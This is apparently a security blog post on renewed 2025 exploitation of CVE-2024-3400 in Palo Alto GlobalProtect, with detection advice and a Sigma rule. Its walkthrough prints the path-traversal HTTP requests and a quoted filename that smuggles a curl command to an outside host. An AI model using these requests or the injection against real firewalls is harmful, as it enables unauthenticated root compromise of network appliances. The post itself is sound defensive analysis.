CVE-2024–3400: Attackers Revive a Palo Alto GlobalProtect RCE — Exploitation and Detection

In late September 2025, security researchers observed a surge in attacks against an “old” vulnerability — CVE-2024–3400 — affecting Palo Alto Networks GlobalProtect gateways. A single source IP (141.98.82.26) was seen aggressively targeting unpatched GlobalProtect systems worldwide. This critical flaw, originally disclosed and patched in April 2024, allows unauthenticated remote code execution by abusing GlobalProtect’s session handling. Attackers are now revisiting it to “mop up” systems missed in earlier patch cycles.

In this blog, we’ll break down the vulnerability and exploit step-by-step — from how session ID misuse enables arbitrary file creation, to how that leads to code injection. We’ll reference WatchTowr’s excellent analysis and clarify why the initial file upload doesn’t immediately execute code without a second-stage payload. We’ll also dispel confusion around a /Synchronization endpoint probe (spoiler: it’s a red herring). Finally, we’ll provide detection guidance including a Sigma rule to help identify these exploit attempts, and discuss the broader trend of attackers recycling old appliance flaws to catch complacent targets.

Background: Old Vulnerabilities, New Targets

It’s no secret that enterprise VPN and security appliances often remain vulnerable long after fixes are available — a reality attackers eagerly exploit. Critical flaws in perimeter devices (think Citrix NetScaler or F5 BIG-IP) have seen multiple waves of exploitation: initial attacks by advanced actors, followed months later by opportunistic mass scanning for stragglers. CVE-2024–3400 fits this pattern.

• Initial Exploitation (Early 2024): This Palo Alto PAN-OS vulnerability was zero-day exploited in the wild as early as late March 2024. Threat intel reports indicate a nation-state actor was likely behind those early, targeted attacks. The flaw was so severe that Palo Alto assigned it the highest urgency (“HIGHEST”) and a perfect 10.0 CVSS score. Patches were released by April 14, 2024, and threat signatures were provided to block known exploit patterns. For a time, defenders could focus on this as a top priority, and many vulnerable systems were updated or temporarily mitigated (e.g. by disabling telemetry, as then recommended).

• Renewed Scanning (Late 2025): Fast forward 18 months — by September 2025, automated scanners and opportunistic hackers have turned their attention back to CVE-2024–3400. SANS Internet Storm Center noted a concentrated spike in probes from IP 141.98.82.26, systematically sweeping for unpatched GlobalProtect portals. This IP, originating from a hosting provider netblock in Venezuela, appears to be part of a broad scanning operation rather than a benign researcher. It’s attempting the exploit on any reachable target, likely hoping to compromise late-patched or forgotten appliances. This resurgence echoes past incidents, where threat groups revisited older VPN flaws (like Citrix CVE-2019–19781 or CVE-2023–3519, and F5 BIG-IP CVE-2022–1388) to ensnare organizations that missed the initial patch window. In short, the “forgotten” vulnerabilities are never truly forgotten by attackers

Press enter or click to view image in full size

CVE-2024–3400 in a Nutshell

CVE-2024–3400 is a vulnerability in the GlobalProtect VPN component of Palo Alto’s PAN-OS (versions 10.2, 11.0, 11.1 in certain builds). It’s described as an “Arbitrary File Creation leading to OS Command Injection” — effectively a two-step path to remote code execution (RCE). Importantly, no authentication is required to exploit it: an attacker can be completely unauthenticated and still gain code execution on a vulnerable firewall.

In plain terms, the flaw arises from how GlobalProtect handles session identifiers (session cookies):

• The GlobalProtect portal did not properly sanitize user-supplied session IDs. Palo Alto’s code would take a session ID “as is” and use it to create or access a session file on the system. This opens the door for path traversal: by crafting a fake session ID that includes file path characters (../), an attacker can write files to arbitrary locations on the firewall’s file system (with root privileges).

• Merely creating a file is not the end goal, but it’s the foothold. The second part of the vulnerability is that if certain conditions are met, the contents or name of that file can trigger a command execution. Originally, Palo Alto indicated that “device telemetry” must be enabled for the file-write to escalate to RCE. (GlobalProtect’s telemetry is a feature where the firewall periodically collects and sends data.) Later updates suggested that even without telemetry, code execution might be achievable — making the issue “an even bigger mess”. In practice, however, most confirmed exploits have involved the telemetry path, as we’ll describe.

Affected PAN-OS Versions: GlobalProtect portal/gateway on PAN-OS 10.2, 11.0, 11.1 (specific maintenance releases prior to fixed versions) are vulnerable. PAN-OS 9.x and older branches were not affected. Notably, cloud-managed products like Prisma Access and Panorama were also not impacted. The vulnerability requires the GlobalProtect feature to be active (since it resides in GlobalProtect’s web interface), and in early advisories it was said to require telemetry enabled (telemetry was on by default, so many appliances met that condition)

Initial Discovery: The vulnerability came to light in April 2024 when cybersecurity firm Volexity investigated a breach of a customer’s Palo Alto firewall. They discovered an unknown exploit was used and reported it, leading to CVE-2024–3400’s disclosure. Given the sophistication needed to find and exploit this bug, it was assessed that a “highly capable threat actor” (likely a state-sponsored group) was behind the first attacks. In other words, this started life as a zero-day in the truest sense — actively used in attacks before any patch existed.

Let’s dive into how exactly the exploit works.

Exploit Walkthrough: From Session ID to Shell

To exploit CVE-2024–3400, an attacker performs two HTTP requests in sequence. These requests mimic GlobalProtect communications but with a malicious twist in the session cookie:

1. File Upload via Path Traversal (POST request).
   The attacker sends an HTTP POST to the GlobalProtect HIP report endpoint: /ssl-vpn/hipreport.esp. This endpoint normally accepts host information from GlobalProtect clients – but here it’s being abused. The critical part is a malformed SESSID cookie included in the request. Instead of a legitimate session ID, the attacker sets:

Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/<malicious>.txt;

This value contains /../../../ directory traversal sequences, attempting to break out of the expected session storage folder and write to /var/appweb/sslvpndocs/global-protect/portal/images/ (a directory in the web server’s document root). The rest of the POST body can be mostly benign (the exploit doesn’t depend on those field values). For example, a captured exploit attempt looked like this:

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: [target_ip]:8080 
User-Agent: Mozilla/5.0 (ZZ; Linux i686)... Chrome/135.0.0.0 Safari/537.36 
Content-Type: application/x-www-form-urlencoded 
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/33EGKkp7zRbFyf06zCV4mzq1vDK.txt; 
Content-Length: 174

user=global&portal=global&authcookie=...&domain=global&...&gwHipReportCheck=global

Source: SANS ISC honeypot example.

This request tries to upload a file named 33EGKkp7zRbF...DK.txt into the GlobalProtect portal/images directory (by escaping to the filesystem via ../../../). The GlobalProtect service, due to the flaw, fails to validate the session ID and dutifully creates a “session” file at that path. The content of the file in this stage is just a standard GlobalProtect session report (the posted form data) – essentially harmless text.

2. File Existence Check (GET request).
Immediately after, the attacker sends a GET request to retrieve the file they just placed:

GET /global-protect/portal/images/33EGKkp7zRbFyf06zCV4mzq1vDK.txt HTTP/1.1
Host: [target_ip] 
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64)... Chrome/132.0.0.0 Safari/537.36 

Source: SANS ISC honeypot example.

Why do this? Because the response tells the attacker if the exploit worked. A 200 OK could mean the file is accessible (which might indicate an open directory listing or misconfig – not expected here). More importantly, Palo Alto’s GlobalProtect will respond with 403 Forbidden if the file exists (because the .txt is not meant to be directly served) or 404 Not Found if it failed to create. In the observed attacks, a 403 was treated as success – it means the file was created on the appliance. Notably, the file is zero-bytes in the scenario above (the content was accepted but essentially discarded to a blank session file). At this stage, no code has been executed on the device – the attacker has just written an empty file.

Why an empty file? The initial exploit step doesn’t need to plant a payload; it just needs to confirm it can place files arbitrarily. The content can be irrelevant (or even purposely left blank) — what matters is where the file is and what it’s named. A 403 response is enough proof that the attacker can write to an arbitrary path. Essentially, the attacker has breached a security boundary (writing as root into the web directory). The next step is to leverage that access for something more dangerous.

From File Write to Remote Code Execution: In the above steps, the attacker wrote to the .../portal/images/ directory. But executing code from there is not straightforward – the file is just a text session file sitting in an images folder (it won’t be executed by the system). So how do attackers turn a file-write into RCE? According to research by WatchTowr and Volexity, the key is to place the file in a location that a privileged process will later use in a command.

One such location is the GlobalProtect telemetry directory. When telemetry is enabled, the firewall periodically packages up log data (including session info) and uploads it via a dt_curl script. Due to a series of weaknesses, this process can be tricked into executing attacker-controlled filenames as part of a shell command:

• WatchTowr’s team discovered that if they used the exploit to create a file under /opt/panlogs/tmp/device_telemetry/minute/, the telemetry cron job eventually noticed it. The dt_curl Python script would construct a curl command to upload this file – and crucially, it did so with shell=True in a subprocess call. This meant any special characters in the filename could be interpreted as shell syntax.

• By giving the file a crafted name, the attackers could smuggle a command. For example, WatchTowr used a filename like:

hellothere226`curl${IFS}x1.outboundhost.com`; 

When the telemetry script ran, it logged a curl command that included this filename. The backtick ` and ${IFS} (Internal Field Separator) were interpreted by the shell, effectively injecting a curl x1.outboundhost.com command (which was their dummy payload to prove code execution). In a real scenario, an attacker could use this to fetch a second-stage exploit or open a reverse shell.

• The firewall would then execute the injected command as root, since the telemetry process runs with high privileges. Boom — unauthenticated remote root code execution achieved.

• This two-stage approach (file write, then indirect execution) is what makes CVE-2024–3400 both tricky and powerful. It’s not a straightforward buffer overflow or command injection in a single request; it abuses logic flaws in how the system stores sessions and handles telemetry. The path traversal is the first bug, and the shell execution via telemetry is the second. Together, they allow a complete compromise of the device.

• WatchTowr’s name for this exploit — “Putting The Protecc In GlobalProtect” — alludes to how the security feature (GlobalProtect) was turned against itself. They highlighted an almost humorous oversight: Palo Alto did not sanitize the session ID when constructing file paths. And while Palo Alto initially thought the risk was constrained to those using telemetry, they later acknowledged telemetry was not a required condition — making the bug even more dangerous than first thought. (In other words, there may be other code paths to trigger execution from an arbitrary file write).

The /Synchronization Puzzle: In the recent 2025 wave of attacks, the malicious IP was also observed requesting the URL /Synchronization on the honeypot systems. This confused investigators initially – Google’s threat intel tentatively linked that path to a “GlobalProtect vulnerability discovered last week,” which turned out to be a misclassification or hallucination. In reality, /Synchronization is not part of the CVE-2024-3400 exploit. It could be a leftover from the attacker’s toolkit (perhaps probing for another vulnerability on different devices) or a misguided attempt. The key takeaway is that the CVE-2024-3400 exploit does not involve any /Synchronization endpoint – so if you see hits to it, treat it as separate noise.

Recent Exploitation Activity: What We’re Seeing Now

The September 2025 scan campaign sheds light on how attackers are operationalizing this exploit:

• Single IP, Broad Targeting: The address 141.98.82.26 was a major source of the observed traffic. It’s part of a block (141.98.82.0/24) registered to a hosting provider (VDS Line/GuardHost) with contacts in Venezuela. This doesn’t necessarily mean the attacker is Venezuelan – these could be rented servers or compromised infrastructure. The important point is the scans were not coming from random infected user machines, but a dedicated server – likely one of many the attackers use to scan different corners of the internet. We can infer the actor behind it is running an automated script to find and exploit vulnerable GlobalProtect portals.

• Technique and Pace: The pattern from honeypot logs shows the attacker consistently performing the POST (file write) then GET (check) sequence, exactly as outlined above. If the response indicates success (403), they may move on or possibly attempt the second-stage (in honeypot observations, no second-stage command was delivered, perhaps because it wasn’t a real GlobalProtect device to fully compromise). The fact that the same IP was repeating this suggests a wide sweep rather than a targeted attack on one organization. It’s the “spray and pray” approach — hoping to stumble upon any firewall that hasn’t been updated since early 2024.

• User-Agent Indicators: Interestingly, the HTTP User-Agent strings in the exploit traffic were somewhat odd/primitive, possibly to avoid easy signature detection. The POST request used an agent string Mozilla/5.0 (ZZ; Linux i686) ... Chrome/135.0.0.0 ..., and the GET used Mozilla/5.0 (Ubuntu; Linux x86_64) ... Chrome/132.0.0.0 .... These claimed Chrome versions (132.0, 135.0) are nonexistent in the real world, and the (ZZ; Linux i686) token is unusual. This could be a custom or outdated library’s default. Such oddities can be useful for defenders as an indicator (few legitimate clients would have these exact agent strings).

• Noisy but Effective: Thus far, this broad scanning has been noisy — it’s generating errors in logs (e.g., those “failed to unmarshal session” messages internally, or obvious 404/403 patterns in access logs). This is good for defenders (easy to spot if you’re monitoring), but it also means any vulnerable system that isn’t monitoring is likely to get hit repeatedly until it’s compromised. The attackers are likely banking on the assumption that many appliances are unmonitored black boxes in network closets.

Below is a summary of key Indicators of Compromise (IOCs) and patterns from the recent exploit attempts:

Press enter or click to view image in full size

Security teams should watch for the above IOCs. Any hits on the GlobalProtect hipreport.esp endpoint from unexpected sources (especially paired with strange cookies or followed by 403 errors) should be treated as an immediate red flag.

Detection and Prevention

Detecting CVE-2024–3400 exploitation attempts is fortunately quite feasible, since the attack has some distinctive characteristics. Below are recommendations and a sample Sigma rule for identifying this activity in your logs:

• Monitor GlobalProtect Endpoint Logs: Ensure that you are logging access to the GlobalProtect web interface on your firewalls or proxy. Requests to unusual URLs like /ssl-vpn/hipreport.esp should be rare in normal operations (GlobalProtect agents do use it, but only from known Palo Alto clients). Multiple 404/403 responses for resource paths like /global-protect/portal/images/*.txt are especially suspicious.

• Look for Directory Traversal Patterns: In any logs or telemetry, search for strings like SESSID=/.. or %2F.. which indicate an attempt to traverse directories in a cookie or URL. The presence of SESSID with .. is almost certainly malicious – legitimate session IDs are random hex strings, not pathnames.

• Leverage Firewall Internal Alerts: Palo Alto’s own logs (if telemetry is on and exploited) will show a telltale error about “failed to unmarshal session(../…)” when the exploit is attempted. If your SIEM ingests the firewall’s system logs (gpsvc.log or similar), create an alert on that message. Likewise, if telemetry was used for the exploit, you might see log entries of unusual curl commands or errors in transmitting telemetry (that include odd filenames).

• Network IDS/IPS Signatures: Many intrusion detection systems have signatures for this exploit. Palo Alto’s Threat Prevention module released signatures 95187, 95189, 95191 to detect/block these exploit attempts at the GlobalProtect interface. Ensure these (or equivalent Snort/Suricata rules) are enabled and up-to-date. A generic IDS rule could trigger on Cookie: SESSID= containing ../ or on the specific sequence of a POST to hipreport.esp followed by a GET to /global-protect/portal/images/.

• Sigma Rule (Log-based Detection): The following is an example Sigma rule that can help detect the HTTP requests associated with CVE-2024–3400 exploitation. It looks for either the malicious POST or the follow-up GET in web or firewall logs:

title: Possible CVE-2024-3400 GlobalProtect Exploit Attempt (HTTP)
status: experimental
description: Detects HTTP requests indicative of CVE-2024-3400 exploitation (GlobalProtect arbitrary file creation & verification).
author: Saiprashanth Pulisetti (@prashanthblogs)
date: 2025/09/30
references:
 - https://isc.sans.edu/diary/32328
 - https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
tags:
 - cve-2024-3400
 - panos
 - globalprotect
 - attack.initial-access
logsource:
 category: network
 product: firewall # or "proxy" depending on where HTTP logs are collected
detection:
 suspicious_post:
 http.request.method: POST
 http.request.uri: '/ssl-vpn/hipreport.esp'
 http.request.headers:
 Cookie|contains: 'SESSID=/..' # session cookie with directory traversal
 suspicious_get:
 http.request.method: GET
 http.request.uri|contains: '/global-protect/portal/images/'
 http.response.status_code: 403 # file exists (forbidden) response
 condition: suspicious_post or suspicious_get
falsepositives:
 - Legit GlobalProtect client activity (unlikely to match traversal patterns)
level: high

(http.request.method:POST and http.request.uri:/ssl-vpn/hipreport.esp and http.request.headers:"Cookie|contains: 'SESSID=/..'") or (http.request.method:GET and http.request.uri:"*/global-protect/portal/images/*" and http.response.status_code:403)

This Sigma rule is simplified for clarity. It assumes your logging system parses HTTP fields (URI, headers, status codes). It triggers on either the malicious POST or the verifying GET. In an ideal scenario, you’d correlate the two (same source IP doing both in short succession), but even one of these on its own is very uncommon in benign traffic.

• Patch and Harden: The ultimate defense is to ensure your Palo Alto devices are running a fixed PAN-OS version. As noted, PAN-OS 10.2.9-h1, 11.0.4-h1, 11.1.2-h3 (and later) contain the fix for CVE-2024–3400. If you cannot patch immediately, at minimum disable GlobalProtect’s telemetry (even though it’s not a complete mitigation, it might block the known RCE path). Also consider restricting access to the GlobalProtect portal to only expected IP ranges or using an additional authentication gateway if possible — this reduces the chances of opportunistic internet scans reaching the interface.

• Observe for Post-Exploitation: If you suspect a successful compromise (e.g., the attacker got a 403 and may have executed code), look for signs of persistence. Past cases of appliance breaches show attackers may add new admin accounts, create webshell files, or modify VPN login pages. Monitor for odd outbound connections from the firewall (since the exploit might cause the firewall to reach out to attacker infrastructure, as in WatchTowr’s example where the device ran a curl to an external host).

Conclusion

CVE-2024–3400 is a stark reminder that critical infrastructure vulnerabilities can remain a threat long after their initial discovery. In this case, a flaw that was patched in early 2024 has re-emerged in 2025 as low-hanging fruit for attackers sweeping the internet. The combination of an easy check (file upload and 403 response) and the potential for devastating impact (root RCE on a firewall) makes it an attractive target.

For defenders, the silver lining is that these exploit attempts are noisy and detectable if you know what to look for. By mining your logs for the patterns described, deploying detection rules, and — most importantly — keeping systems up to date, you can drastically reduce the risk. If you haven’t applied the PAN-OS updates for this issue yet, consider this your wake-up call. As one of the SANS researchers put it, attackers are now “mopping up systems missed in earlier exploit waves”. Don’t let your system be one of the stragglers.

In the broader view, we see a consistent trend: VPN and edge device vulnerabilities (Palo Alto, Fortinet, Citrix, F5, etc.) are prime targets due to their exposure and high privilege. Even sophisticated nation-state exploits eventually trickle down to criminal groups once patches are out and reverse-engineering yields public exploits. Thus, a critical lesson is to treat appliance patches with the same urgency as software patches, if not more. These devices often protect the keys to the kingdom, and a breach here can cascade into a full network compromise.

References:

• https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/

• https://isc.sans.edu/diary/32328

• https://security.paloaltonetworks.com/CVE-2024-3400

• https://www.volexity.com/blog/2024/04/14/palo-alto-zero-day-cve-2024-3400-exploited-in-attacks/

• https://www.cisa.gov/news-events/alerts/2024/08/28/iranian-threat-actors-exploit-known-vulnerabilities

• https://www.gbhackers.com/palo-alto-globalprotect-vulnerability/

Stay safe out there, and happy hunting (in logs, that is)! By understanding these exploits and how to catch them, we can turn the tables on attackers — making their job harder even as they try to revive “old” tricks.

#cybersecurity #threat-hunting #cve-2024–3400